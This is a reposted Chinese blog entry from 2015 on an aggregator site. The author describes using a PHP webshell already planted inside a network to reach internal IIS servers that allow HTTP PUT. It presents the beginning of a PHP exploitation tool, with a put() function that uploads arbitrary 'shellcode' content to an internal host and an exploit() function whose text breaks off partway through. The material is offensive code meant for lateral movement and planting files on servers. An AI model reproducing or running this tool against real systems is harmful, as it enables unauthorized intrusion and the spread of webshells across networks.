IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Put漏洞利用工具PHP在线版

    b4dboy发表于 2015-03-03 08:15:17
    love 0
        在webshell上探测到内网几个开了put的iis由于防火墙的原因没有交互式环境,情急之下随手用php写了个简易的利用工具(因为webshell是php的)。 代码如下: View Code PHP<?php   error_reporting(0); $des = ''; $url = 'http://192.168.8.88/b4dboy.txt';   function put($url, $shellcode) { $options = array( 'http' => array( 'method' => 'PUT', 'content' => $shellcode, ) ); $context = @stream_context_create($options); return @file_get_contents($url, false, $context); }   function exploit($url, $dest, $move = 1) { global $des; $options = array( 'http' => [...]


沪ICP备19023445号-2号
友情链接